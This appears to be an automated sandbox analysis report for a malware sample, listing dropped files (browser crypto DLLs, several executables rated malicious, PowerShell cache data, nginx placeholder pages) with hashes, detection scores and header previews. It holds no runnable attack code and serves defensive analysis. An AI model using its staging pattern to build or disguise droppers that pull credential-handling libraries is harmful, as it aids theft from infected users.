SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4380672
Entropy (8bit):	7.983777613002977
Encrypted:	false
SSDEEP:	98304:v3FnLa3pgrd18qp3n1DpjPJRTIWFKdI+4b/TxHkKT5KdKXzJ+S:fFnLa3qR1v3VpjJRcEKdIfblEO5KdKjo
MD5:	CE1C81D721906475FC878EBD26D09AD4
SHA1:	2FD29C1C343AF0FFC67441B448E8A101B7F7854E
SHA-256:	A80CA2E11B0EAA75711CA4B8A002D95F45E8DBAF41101E4DFC52B32AB5D9DDAE
SHA-512:	AF61993252D78E5DA18D4826BA22E3496AEBF9A14AF715FF7034D9972B577B5CA4D75DFA0FAB515E384DEC5F74A27A53D4D25D9423500580F74DCD2C1B5BE5FF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@.......................... ......>.C...@... ............................._.q.s...........................l....................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..7...q.......'.............@...zxydtulm.0.......$....'.............@...buxvmaas..............B.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1794560
Entropy (8bit):	7.945404963534243
Encrypted:	false
SSDEEP:	24576:hbieeUbLA2ft0FPIE7Mygu+OUo7d6eBuum18ioePTk8dFTPfg2hbDh0QFZB6K:BicbUkEXgX+7d6Dpp4AFTgeRB6
MD5:	F5634FE84A0D50DA553341DD8B70F55B
SHA1:	EE0CE0583EDD4B0093709FB1BE3ABA975E4F7780
SHA-256:	33EC7D97E387A484CA822A25143B5D01DDCE8AB813200719537702F0931F9E87
SHA-512:	2211675F740494A7F34971A475281608AECCDA6615EC5B709711BE3B5E079FA6F64608680FF9EE483C1B2E1A8270C3510C2940A5AF4A2563EF12C764EF72DC6C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$........h...........@...........................h.....&.....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... . *...$......v..............@...qflvhncs......N......x..............@...uedzvgbu......h......<..............@....taggant.0....h.."...@..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vtF7qZo[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\6OMLg7r[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\CC%20[server][1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	921600
Entropy (8bit):	6.590292406961086
Encrypted:	false
SSDEEP:	12288:zqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgaUTg:zqDEvCTbMWu7rQYlBQcBiT6rprG8a0g
MD5:	163C161C40D81ABCF7762B5FE1E069F9
SHA1:	69ABFD5FFB416ABA8EC059FD0B10B90A15F1D6E2
SHA-256:	E18EABDDF7FFD031C8D469F61EF79A69C7ED5FC4C0B0B083F352306C19A53B1D
SHA-512:	D7AEED672A002D87BC8776E3CBC574E0F336B8152F199CDEEEBA845054239F57C3468758205ABCD29716E6C4F35A23CBEC8A57D93E372B1C9B258D80623E2669
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....yBg.........."..........`......w.............@..........................p............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\aZhXvFT[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.374697021696694
Encrypted:	false
SSDEEP:	48:SfNaoQc4pRTEQcPfNaoQUQ+fNaoQsdmQsGfNaoQ4o0UrU0U8Qu:6NnQc4pRTEQcnNnQUQmNnQZQtNnQ70Ul
MD5:	3CC876164A6F1511542A6D7447F15F4A
SHA1:	47A8CAC3DEEE2ADD3CB3D683CCFD5646C9893B01
SHA-256:	D091EFD7CF3182912F2580218B2264EF10FD460E1E66664E99A594C4D978E1DC
SHA-512:	F48F5FE0B29ACD554B94F789C7C1C50B97ADD2488BF87AD6B5908C6908451B59E3022098431662D7F53C3EFDB8C887E854E1E4ACEC9580F3C84C533F3B15C8C6
Malicious:	false
Reputation:	unknown
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/62939D268132B0EB3A789E36A6B9E7AD",.. "id": "62939D268132B0EB3A789E36A6B9E7AD",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/62939D268132B0EB3A789E36A6B9E7AD"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/0E50C6D918839EFC2227527EBA1BF734",.. "id": "0E50C6D918839EFC2227527EBA1BF734",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/0E50C6D918839EFC2227527EBA1BF734"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1891328
Entropy (8bit):	7.946962103342448
Encrypted:	false
SSDEEP:	24576:tIn1Rzsp2ltX3ZQLsHzQjwo718789PpzJSjyYy8If8NDCSWZYBVpTw2cRMj:t6+2X3BHkXHpzAu8W8ZCSWZQO2cGj
MD5:	89A84EB8A83E3072365849AF60F40DCC
SHA1:	0D22977F6A49A60619E8FCA8297EF92CAB0CE52C
SHA-256:	6E05EACB5BA89BF57CBE21EA64B9E8FB72148ECC6624C55E1F82AA2EFCEE03D6
SHA-512:	24C2151099B4BCD7B20C56D6E2267551B58B92714CCDAE10163F611987D06BCA9049C2154412943B42F7D758FE83179B357846FCDE382DD6C3E066828BCB4B42
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g..............................J...........@...........................K...........@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..*..........v..............@...bydimkjm.@....0..>...x..............@...rvusllyz......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	53158
Entropy (8bit):	5.062687652912555
Encrypted:	false
SSDEEP:	1536:N8Z+z30pPV3CNBQkj2Ph4iUx7aVKflJnqvPqdKgfSRIOdBlzStAHk4NKeCMiYoLs:iZ+z30pPV3CNBQkj2PqiU7aVKflJnqvF
MD5:	5D430F1344CE89737902AEC47C61C930
SHA1:	0B90F23535E8CDAC8EC1139183D5A8A269C2EFEB
SHA-256:	395099D9A062FA7A72B73D7B354BF411DA7CFD8D6ADAA9FDBC0DD7C282348DC7
SHA-512:	DFC18D47703A69D44643CFC0209B785A4393F4A4C84FAC5557D996BC2A3E4F410EA6D26C66EA7F765CEC491DD52C8454CB0F538D20D2EFF09DC89DDECC0A2AFE
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE.G.......%...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1T.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbc........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........nsmbscm........gsmbscm........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........Remove-SMBComponent........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........rsmbscm........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-Sm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	unknown
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4380672
Entropy (8bit):	7.983777613002977
Encrypted:	false
SSDEEP:	98304:v3FnLa3pgrd18qp3n1DpjPJRTIWFKdI+4b/TxHkKT5KdKXzJ+S:fFnLa3qR1v3VpjJRcEKdIfblEO5KdKjo
MD5:	CE1C81D721906475FC878EBD26D09AD4
SHA1:	2FD29C1C343AF0FFC67441B448E8A101B7F7854E
SHA-256:	A80CA2E11B0EAA75711CA4B8A002D95F45E8DBAF41101E4DFC52B32AB5D9DDAE
SHA-512:	AF61993252D78E5DA18D4826BA22E3496AEBF9A14AF715FF7034D9972B577B5CA4D75DFA0FAB515E384DEC5F74A27A53D4D25D9423500580F74DCD2C1B5BE5FF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@.......................... ......>.C...@... ............................._.q.s...........................l....................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..7...q.......'.............@...zxydtulm.0.......$....'.............@...buxvmaas..............B.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008564001\CC [server].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Temp\1008569041\gok44.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
